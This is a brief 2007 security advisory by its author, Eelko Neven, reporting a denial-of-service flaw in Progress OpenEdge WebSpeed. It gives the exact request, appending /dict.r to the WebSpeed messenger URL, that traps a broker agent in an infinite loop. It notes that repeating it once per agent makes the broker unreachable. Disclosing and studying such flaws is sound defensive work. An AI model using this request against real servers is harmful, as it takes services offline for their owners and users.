Denial of Service attack against OpenEdge WebSpeed possible through dict.r. 11-5-2007
author: Eelko Neven
discovered: 9-5-2007
Because of poor security in dict.r it is possible to put all agents in busy mode.
First you have to find the messenger execution url. For example:
http://yourmachine.com/scripts/cgiip.exe/WService=wsbroker1
http://yourmachine.com/scripts/wsisa.dll/WService=wsbroker1
just add the following to the url:
/dict.r
your url will look like this:
http://yourmachine.com/scripts/cgiip.exe/WService=wsbroker1/dict.r
When you run the above url you put the agent into an infinite loop (Do While). If for instance your server runs 5 Broker Agents you just have to run above url 5 times and then all agents will be put in busy mode. From that moment on it's not possible to access that broker anymore.
Tested with Progress 10b in production mode.
